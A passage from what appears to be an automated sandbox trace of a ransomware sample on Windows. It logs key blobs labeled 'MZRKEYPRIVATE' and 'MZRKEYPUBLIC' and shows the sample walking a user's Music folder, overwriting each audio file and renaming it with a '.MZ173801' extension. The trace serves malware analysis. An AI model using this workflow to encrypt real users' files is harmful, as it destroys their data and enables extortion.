cK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x24f61dc, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0158.800] GetCurrentThreadId () returned 0xab4 [0158.800] GetCurrentThreadId () returned 0xab4 [0158.800] GetCurrentThreadId () returned 0xab4 [0158.800] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0158.800] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x250723c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0158.800] GetCurrentThreadId () returned 0xab4 [0158.800] GetCurrentThreadId () returned 0xab4 [0158.800] GetCurrentThreadId () returned 0xab4 [0158.800] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\VqltAk\\5B1wK SInIEY1XG8\\zlyONG3Bll4oZ.wav" (normalized: "c:\\users\\fd1hvy\\music\\9y41-fr3plkynrnfg2e\\vqltak\\5b1wk siniey1xg8\\zlyong3bll4oz.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x27c [0158.800] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f1a8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f1a8*=0) returned 0x0 [0158.801] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f1a0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f1a0*=0) returned 0x0 [0158.801] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f1a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f1a0*=0) returned 0x112b3 [0158.801] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f1a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f1a0*=0) returned 0x0 [0158.801] ReadFile (in: hFile=0x27c, lpBuffer=0x250f040, nNumberOfBytesToRead=0x112b3, lpNumberOfBytesRead=0x19f1b4, lpOverlapped=0x0 | out: lpBuffer=0x250f040*, lpNumberOfBytesRead=0x19f1b4*=0x112b3, lpOverlapped=0x0) returned 1 [0158.802] CloseHandle (hObject=0x27c) returned 1 [0158.803] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\VqltAk\\5B1wK SInIEY1XG8\\zlyONG3Bll4oZ.wav" (normalized: "c:\\users\\fd1hvy\\music\\9y41-fr3plkynrnfg2e\\vqltak\\5b1wk siniey1xg8\\zlyong3bll4oz.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x27c [0158.806] WriteFile (in: hFile=0x27c, lpBuffer=0x2521070*, nNumberOfBytesToWrite=0x112b3, lpNumberOfBytesWritten=0x19f1c0, lpOverlapped=0x0 | out: lpBuffer=0x2521070*, lpNumberOfBytesWritten=0x19f1c0*=0x112b3, lpOverlapped=0x0) returned 1 [0158.808] CloseHandle (hObject=0x27c) returned 1 [0158.810] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\VqltAk\\5B1wK SInIEY1XG8\\zlyONG3Bll4oZ.wav" (normalized: "c:\\users\\fd1hvy\\music\\9y41-fr3plkynrnfg2e\\vqltak\\5b1wk siniey1xg8\\zlyong3bll4oz.wav"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\VqltAk\\5B1wK SInIEY1XG8\\zlyONG3Bll4oZ.wav.MZ173801" (normalized: "c:\\users\\fd1hvy\\music\\9y41-fr3plkynrnfg2e\\vqltak\\5b1wk siniey1xg8\\zlyong3bll4oz.wav.mz173801")) returned 1 [0158.811] GetCurrentThreadId () returned 0xab4 [0158.811] GetCurrentThreadId () returned 0xab4 [0158.811] GetCurrentThreadId () returned 0xab4 [0158.811] GetCurrentThreadId () returned 0xab4 [0158.811] GetCurrentThreadId () returned 0xab4 [0158.811] GetCurrentThreadId () returned 0xab4 [0158.811] FindNextFileW (in: hFindFile=0xa1b7a8, lpFindFileData=0x19f2ec | out: lpFindFileData=0x19f2ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72cdeb00, ftCreationTime.dwHighDateTime=0x1d5e954, ftLastAccessTime.dwLowDateTime=0x7d7d1ec0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x7d7d1ec0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x112b3, dwReserved0=0x0, dwReserved1=0x19f34c, cFileName="zlyONG3Bll4oZ.wav", cAlternateFileName="ZLYONG~1.WAV")) returned 0 [0158.811] GetLastError () returned 0x12 [0158.811] FindClose (in: hFindFile=0xa1b7a8 | out: hFindFile=0xa1b7a8) returned 1 [0158.811] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\VqltAk\\5B1wK SInIEY1XG8\\*.*", lpFindFileData=0x19f2ec | out: lpFindFileData=0x19f2ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6769b1f0, ftCreationTime.dwHighDateTime=0x1d5eae8, ftLastAccessTime.dwLowDateTime=0x88cbd175, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x88cbd175, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x19f34c, cFileName=".", cAlternateFileName="")) returned 0xa1b7a8 [0158.811] FileTimeToLocalFileTime (in: lpFileTime=0x19f300, lpLocalFileTime=0x19f264 | out: lpLocalFileTime=0x19f264) returned 1 [0158.811] FileTimeToDosDateTime (in: lpFileTime=0x19f264, lpFatDate=0x19f2ce, lpFatTime=0x19f2cc | out: lpFatDate=0x19f2ce, lpFatTime=0x19f2cc) returned 1 [0158.811] FindNextFileW (in: hFindFile=0xa1b7a8, lpFindFileData=0x19f2ec | out: lpFindFileData=0x19f2ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6769b1f0, ftCreationTime.dwHighDateTime=0x1d5eae8, ftLastAccessTime.dwLowDateTime=0x88cbd175, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x88cbd175, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x19f34c, cFileName="..", cAlternateFileName="")) returned 1 [0158.811] FileTimeToLocalFileTime (in: lpFileTime=0x19f300, lpLocalFileTime=0x19f260 | out: lpLocalFileTime=0x19f260) returned 1 [0158.811] FileTimeToDosDateTime (in: lpFileTime=0x19f260, lpFatDate=0x19f2ce, lpFatTime=0x19f2cc | out: lpFatDate=0x19f2ce, lpFatTime=0x19f2cc) returned 1 [0158.811] FindNextFileW (in: hFindFile=0xa1b7a8, lpFindFileData=0x19f2ec | out: lpFindFileData=0x19f2ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c5f23d0, ftCreationTime.dwHighDateTime=0x1d5edb0, ftLastAccessTime.dwLowDateTime=0xa0b8f40, ftLastAccessTime.dwHighDateTime=0x1d5e5c7, ftLastWriteTime.dwLowDateTime=0x88c24716, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x1ea6, dwReserved0=0x0, dwReserved1=0x19f34c, cFileName="g y7h-Rew.wav.MZ173801", cAlternateFileName="GY7H-R~1.MZ1")) returned 1 [0158.811] FileTimeToLocalFileTime (in: lpFileTime=0x19f300, lpLocalFileTime=0x19f260 | out: lpLocalFileTime=0x19f260) returned 1 [0158.811] FileTimeToDosDateTime (in: lpFileTime=0x19f260, lpFatDate=0x19f2ce, lpFatTime=0x19f2cc | out: lpFatDate=0x19f2ce, lpFatTime=0x19f2cc) returned 1 [0158.811] FindNextFileW (in: hFindFile=0xa1b7a8, lpFindFileData=0x19f2ec | out: lpFindFileData=0x19f2ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d78b360, ftCreationTime.dwHighDateTime=0x1d5e6bb, ftLastAccessTime.dwLowDateTime=0x5511e480, ftLastAccessTime.dwHighDateTime=0x1d5e298, ftLastWriteTime.dwLowDateTime=0x88c4aa2a, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x1d0e, dwReserved0=0x0, dwReserved1=0x19f34c, cFileName="KyDI6rQz0nUT1e2995v.wav.MZ173801", cAlternateFileName="KYDI6R~1.MZ1")) returned 1 [0158.811] FileTimeToLocalFileTime (in: lpFileTime=0x19f300, lpLocalFileTime=0x19f260 | out: lpLocalFileTime=0x19f260) returned 1 [0158.811] FileTimeToDosDateTime (in: lpFileTime=0x19f260, lpFatDate=0x19f2ce, lpFatTime=0x19f2cc | out: lpFatDate=0x19f2ce, lpFatTime=0x19f2cc) returned 1 [0158.811] FindNextFileW (in: hFindFile=0xa1b7a8, lpFindFileData=0x19f2ec | out: lpFindFileData=0x19f2ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22852af0, ftCreationTime.dwHighDateTime=0x1d5edaf, ftLastAccessTime.dwLowDateTime=0xf36ab430, ftLastAccessTime.dwHighDateTime=0x1d5ee92, ftLastWriteTime.dwLowDateTime=0x88c4aa2a, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x2fb1, dwReserved0=0x0, dwReserved1=0x19f34c, cFileName="lPn_fXiKChTLMv.m4a.MZ173801", cAlternateFileName="LPN_FX~1.MZ1")) returned 1 [0158.812] FileTimeToLocalFileTime (in: lpFileTime=0x19f300, lpLocalFileTime=0x19f260 | out: lpLocalFileTime=0x19f260) returned 1 [0158.812] FileTimeToDosDateTime (in: lpFileTime=0x19f260, lpFatDate=0x19f2ce, lpFatTime=0x19f2cc | out: lpFatDate=0x19f2ce, lpFatTime=0x19f2cc) returned 1 [0158.812] FindNextFileW (in: hFindFile=0xa1b7a8, lpFindFileData=0x19f2ec | out: lpFindFileData=0x19f2ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf52c2fa0, ftCreationTime.dwHighDateTime=0x1d5e173, ftLastAccessTime.dwLowDateTime=0x892d8250, ftLastAccessTime.dwHighDateTime=0x1d5e4f1, ftLastWriteTime.dwLowDateTime=0x88c96de4, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x212f, dwReserved0=0x0, dwReserved1=0x19f34c, cFileName="o7Ic1-IjCq FQjq1.mp3.MZ173801", cAlternateFileName="O7IC1-~1.MZ1")) returned 1 [0158.812] FileTimeToLocalFileTime (in: lpFileTime=0x19f300, lpLocalFileTime=0x19f260 | out: lpLocalFileTime=0x19f260) returned 1 [0158.812] FileTimeToDosDateTime (in: lpFileTime=0x19f260, lpFatDate=0x19f2ce, lpFatTime=0x19f2cc | out: lpFatDate=0x19f2ce, lpFatTime=0x19f2cc) returned 1 [0158.812] FindNextFileW (in: hFindFile=0xa1b7a8, lpFindFileData=0x19f2ec | out: lpFindFileData=0x19f2ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72cdeb00, ftCreationTime.dwHighDateTime=0x1d5e954, ftLastAccessTime.dwLowDateTime=0x7d7d1ec0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x88cbd175, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x112b3, dwReserved0=0x0, dwReserved1=0x19f34c, cFileName="zlyONG3Bll4oZ.wav.MZ173801", cAlternateFileName="ZLYONG~1.MZ1")) returned 1 [0158.812] FileTimeToLocalFileTime (in: lpFileTime=0x19f300, lpLocalFileTime=0x19f260 | out: lpLocalFileTime=0x19f260) returned 1 [0158.812] FileTimeToDosDateTime (in: lpFileTime=0x19f260, lpFatDate=0x19f2ce, lpFatTime=0x19f2cc | out: lpFatDate=0x19f2ce, lpFatTime=0x19f2cc) returned 1 [0158.812] FindNextFileW (in: hFindFile=0xa1b7a8, lpFindFileData=0x19f2ec | out: lpFindFileData=0x19f2ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72cdeb00, ftCreationTime.dwHighDateTime=0x1d5e954, ftLastAccessTime.dwLowDateTime=0x7d7d1ec0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x88cbd175, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x112b3, dwReserved0=0x0, dwReserved1=0x19f34c, cFileName="zlyONG3Bll4oZ.wav.MZ173801", cAlternateFileName="ZLYONG~1.MZ1")) returned 0 [0158.812] GetLastError () returned 0x12 [0158.812] FindClose (in: hFindFile=0xa1b7a8 | out: hFindFile=0xa1b7a8) returned 1 [0158.812] FindNextFileW (in: hFindFile=0xa1b738, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f3222e0, ftCreationTime.dwHighDateTime=0x1d5ef71, ftLastAccessTime.dwLowDateTime=0x647b2b70, ftLastAccessTime.dwHighDateTime=0x1d5e630, ftLastWriteTime.dwLowDateTime=0x88bb2195, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0xac27, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Dzl1T_E T7Ch1n.wav.MZ173801", cAlternateFileName="DZL1T_~1.MZ1")) returned 1 [0158.812] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0158.812] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0158.812] FindNextFileW (in: hFindFile=0xa1b738, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f409b0, ftCreationTime.dwHighDateTime=0x1d5e1db, ftLastAccessTime.dwLowDateTime=0x54964cb0, ftLastAccessTime.dwHighDateTime=0x1d5e268, ftLastWriteTime.dwLowDateTime=0x88bfe4b8, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x18448, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="eOmjS8.wav.MZ173801", cAlternateFileName="EOMJS8~1.MZ1")) returned 1 [0158.812] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0158.812] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0158.812] FindNextFileW (in: hFindFile=0xa1b738, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x516b3e0, ftCreationTime.dwHighDateTime=0x1d5ef25, ftLastAccessTime.dwLowDateTime=0x23e69ff0, ftLastAccessTime.dwHighDateTime=0x1d5e77e, ftLastWriteTime.dwLowDateTime=0x23e69ff0, ftLastWriteTime.dwHighDateTime=0x1d5e77e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="JsYf-A6h4Bx", cAlternateFileName="JSYF-A~1")) returned 1 [0158.812] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0158.812] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0158.812] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\VqltAk\\JsYf-A6h4Bx\\*.*", lpFindFileData=0x19f2ec | out: lpFindFileData=0x19f2ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x516b3e0, ftCreationTime.dwHighDateTime=0x1d5ef25, ftLastAccessTime.dwLowDateTime=0x23e69ff0, ftLastAccessTime.dwHighDateTime=0x1d5e77e, ftLastWriteTime.dwLowDateTime=0x23e69ff0, ftLastWriteTime.dwHighDateTime=0x1d5e77e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x19f34c, cFileName=".", cAlternateFileName="")) returned 0xa1b7a8 [0158.812] FindNextFileW (in: hFindFile=0xa1b7a8, lpFindFileData=0x19f2ec | out: lpFindFileData=0x19f2ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x516b3e0, ftCreationTime.dwHighDateTime=0x1d5ef25, ftLastAccessTime.dwLowDateTime=0x23e69ff0, ftLastAccessTime.dwHighDateTime=0x1d5e77e, ftLastWriteTime.dwLowDateTime=0x23e69ff0, ftLastWriteTime.dwHighDateTime=0x1d5e77e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x19f34c, cFileName="..", cAlternateFileName="")) returned 1 [0158.812] FindNextFileW (in: hFindFile=0xa1b7a8, lpFindFileData=0x19f2ec | out: lpFindFileData=0x19f2ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ff84c50, ftCreationTime.dwHighDateTime=0x1d5e6ae, ftLastAccessTime.dwLowDateTime=0xb3f5bf20, ftLastAccessTime.dwHighDateTime=0x1d5e8b1, ftLastWriteTime.dwLowDateTime=0xb3f5bf20, ftLastWriteTime.dwHighDateTime=0x1d5e8b1, nFileSizeHigh=0x0, nFileSizeLow=0x15335, dwReserved0=0x0, dwReserved1=0x19f34c, cFileName="5kfHm.m4a", cAlternateFileName="")) returned 1 [0158.812] FileTimeToLocalFileTime (in: lpFileTime=0x19f300, lpLocalFileTime=0x19f264 | out: lpLocalFileTime=0x19f264) returned 1 [0158.812] FileTimeToDosDateTime (in: lpFileTime=0x19f264, lpFatDate=0x19f2ce, lpFatTime=0x19f2cc | out: lpFatDate=0x19f2ce, lpFatTime=0x19f2cc) returned 1 [0158.813] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\VqltAk\\JsYf-A6h4Bx\\5kfHm.m4a" (normalized: "c:\\users\\fd1hvy\\music\\9y41-fr3plkynrnfg2e\\vqltak\\jsyf-a6h4bx\\5kfhm.m4a"), fInfoLevelId=0x0, lpFileInformation=0x19f1f4 | out: lpFileInformation=0x19f1f4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ff84c50, ftCreationTime.dwHighDateTime=0x1d5e6ae, ftLastAccessTime.dwLowDateTime=0xb3f5bf20, ftLastAccessTime.dwHighDateTime=0x1d5e8b1, ftLastWriteTime.dwLowDateTime=0xb3f5bf20, ftLastWriteTime.dwHighDateTime=0x1d5e8b1, nFileSizeHigh=0x0, nFileSizeLow=0x15335)) returned 1 [0158.813] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\VqltAk\\JsYf-A6h4Bx\\5kfHm.m4a" (normalized: "c:\\users\\fd1hvy\\music\\9y41-fr3plkynrnfg2e\\vqltak\\jsyf-a6h4bx\\5kfhm.m4a")) returned 0x20 [0158.813] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\VqltAk\\JsYf-A6h4Bx\\5kfHm.m4a", dwFileAttributes=0x80) returned 1 [0158.814] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 